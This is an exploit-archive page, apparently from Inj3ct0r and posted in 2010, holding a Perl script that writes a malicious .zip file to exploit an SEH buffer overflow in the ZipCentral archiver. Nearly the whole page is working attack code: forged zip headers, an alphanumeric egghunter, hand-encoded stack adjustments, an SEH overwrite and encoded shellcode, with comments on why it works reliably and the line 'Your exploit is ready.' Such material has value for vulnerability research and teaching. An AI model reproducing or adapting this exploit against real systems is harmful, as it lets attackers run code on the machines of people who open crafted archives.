Home / os / win7

ZipCentral (.zip) Buffer Overflow (SEH)

Posted on 21 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>ZipCentral (.zip) Buffer Overflow (SEH)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================= ZipCentral (.zip) Buffer Overflow (SEH) ======================================= # Author : Jiten Pathy # July 21 2010 #Thanks to the http://en.wikipedia.org/wiki/PKZIP page for heelping me understand zip file format #Thanks to corelanc0d3r for shredding light on these type of exploits at http://www.offensive-security.com/vulndev/quickzip-stack-bof-0day-a-box-of-chocolates/ # Greetz to SSTeam and G4H members #There is already a exploit on zipcentral filename handling buffer #overflow over 2 months ago which uses an address from a system dll for #SEH which isnt reliable across different platforms so this one uses an #address from exe file which is a little complicated but reliable my $filename=&quot;pwnzipcentral.zip&quot;; my $ldf_header = &quot;x50x4Bx03x04x14x00x00&quot;. &quot;x00x00x00xB7xACxCEx34x00x00x00&quot; . &quot;x00x00x00x00x00x00x00x00&quot; . &quot;xe4x0f&quot; .# file size &quot;x00x00x00&quot;; my $cdf_header = &quot;x50x4Bx01x02x14x00x14&quot;. &quot;x00x00x00x00x00xB7xACxCEx34x00x00x00&quot; . &quot;x00x00x00x00x00x00x00x00x00&quot;. &quot;xe4x0f&quot;. # file size &quot;x00x00x00x00x00x00x01x00&quot;. &quot;x24x00x00x00x00x00x00x00&quot;; my $eofcdf_header = &quot;x50x4Bx05x06x00x00x00x00x01x00x01x00&quot;. &quot;x12x10x00x00&quot;. # Size of central directory (bytes) &quot;x02x10x00x00&quot;. # Offset of start of central directory, # relative to start of archive &quot;x00x00&quot;; my $egghunter=&quot;hffffk4diFkDrj02Drk0D2AuEE2C4s4I8K1L0v7K0R0I0i4A7N0J022q0D5M&quot;. &quot;4H7n100Y1p3Z8M3q0E305o0G3E4N3G0D&quot;; #ascii mixed case egghunter with EDX as basereg my $junk=&quot;A&quot;x(653-length($egghunter)-102); #Here is a different approach prior to make EDX to point at our #egghunter. #push ebp,pop edx puts ebp into edx and then we add edx with right value. #Here We encode #add edx,087f #jmp edx ;with custom decoder (muts) which should evntually execute these #two instructions which should be produced in stack after the decoder.SO #we need to prepare esp for this .But i found that instruction &quot;pop esp&quot;('') breaks the shellcode (not so lucky for this application). #So we cant just pop things from top of stack to point esp and we cant use #too many &quot;popa&quot; or &quot;pop r&quot; here due to limited space. #So what we do here is inc esp using loop which will make esp point #somewhere after the decoder .So i did some lulz math found out how much #increment i need(0xb16) and did 2 loops(in hex 42*2b=b16;both are #alphanumeric) and we get the desired value in esp.There is always way to #make our way theough. my $preparegg=&quot;x6ax42&quot;. #push 42h &quot;x58&quot;. #pop eax &quot;x6ax2b&quot;. #push 2bh &quot;x59&quot;. #pop ecx &quot;C&quot;x5 . #fillers for our loop Here is where inner loop #will jump &quot;x44&quot;. #inc esp &quot;x48&quot;. #dec eax &quot;x75xf6&quot;. #converted x75xf7 not much difference lol #which is jnz -9 &quot;x34x42&quot;. #xor al,42 &quot;x49&quot;. #dec ecx &quot;x75xf6&quot;. #again jnz -9 but this one will jump somewher in #the fillers but all we care is about inc esp getting executed &quot;x55&quot;. #push ebp &quot;x5a&quot;. #pop edx &quot;x25x4Ax4Dx4Ex4a&quot;. &quot;x25x35x32x31x35&quot;. #zero eax &quot;x2dx52x55x62x43&quot;. &quot;x2dx52x55x66x44&quot;. &quot;x2dx54x56x54x36&quot;. #x08xffxe2x41 &quot;x50&quot;. &quot;x25x4Ax4Dx4Ex4a&quot;. &quot;x25x35x32x31x35&quot;. #zero eax &quot;x2dx33x2bx69x2e&quot;. &quot;x2dx33x2bx69x28&quot;. &quot;x2dx34x28x6bx29&quot;. #x66x81xc2x7f &quot;x50&quot;; my $fill=&quot;A&quot;x(102-length($preparegg));#more nops my $nseh=&quot;x74xf7x41x41&quot;;#becomes 74 98 41 41 jumping 102 bytes back my $seh=&quot;x41x6cx42x00&quot;;#ascii compatible ppr address #alpha mixedcase messagebox shellcode with EDI as basereg(since egghunter #has already EDI as address of our shellcode ) my $shell=&quot;hffffk4diFkDwj02Dwk0D7AuEE4n0b7n1132165L5m403i7l003d8K4G1p5k0l3c&quot;. &quot;0S3r0X0P018M4x191p0J3Y8L0t0P044S5K2A2G2J3C1N4x0F4x0Y8N3J0l2u2p353o4G8N3&quot;. &quot;V2j2D2t0n0F4p4s2q2t0u8K0a3r0R5O0G1N3P0o1m035L4y0V300B3Z3W0h1l7p2G3g3i3d&quot;. &quot;363G4q8L2n114l0V3n0r1p4x0u7o3t0t1k4s7n2s3u2J4B5O5K8M4K4q4T4A5K068o1p0z4&quot;. &quot;y0A5K4D3I4P3W4t8O3z0K0z0V2Z2Z004p032u0O0L08022l365K3H0D3Z4s8K403z001k7m&quot;. &quot;0O3R0G1N022H0X4T4T4J1p4X0P4x8L4X1P7k1k181o0I0L2A4u157L0N0M2q0Y12160B0T7&quot;. &quot;n0F7M0U100e4O1P1l2D7M0X2w0r2k4p102u0h0K7K0V190W011k080W090G2v0e4p0a0o2x&quot;. &quot;1L3m2C1k190K2K0R3X0y0o021n0Y180T2r0X070Q2j0C3X8P2C1k031p065L7L2w0T1l2C0&quot;. &quot;Q2A0W2r2p121n0Z0X051m7n0W020X0U0X7L0X0V0W0U0c2G1l0l0v0J0X2r1L2y1o1n1l09&quot;. &quot;1p7l0X190J0z0r3j3K2z0a0c0b4E3p0X0T2x0D2r4p7k2w0Q0O2O0a7l1o0Q0Z2m0H011p1&quot;. &quot;00c4k1P0n0Q0A3m198O5p04&quot;; my $payload=$egghunter.$junk.$preparegg.$fill.$nseh.$seh.&quot;w00tw00t&quot;.$shell; my $more=&quot;D&quot; x (4064-length($payload)); $payload = $payload.$more.&quot;.txt&quot;; print &quot;Size : &quot; . length($payload).&quot; &quot;; print &quot;Removing old $filename file &quot;; system(&quot;del $filename&quot;); print &quot;Creating new $filename file &quot;; open(FILE, &quot;&gt;$filename&quot;); print FILE $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header; close(FILE); print &quot;m/ Your exploit is ready. &quot;; #That popped a messagebox with message &quot;My First Null free Shellcode In Windows&quot;(indeed it was).All you need is a bit of quick math and keep looking for possibilities. #Hope someone learned something from this re-exploit. # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP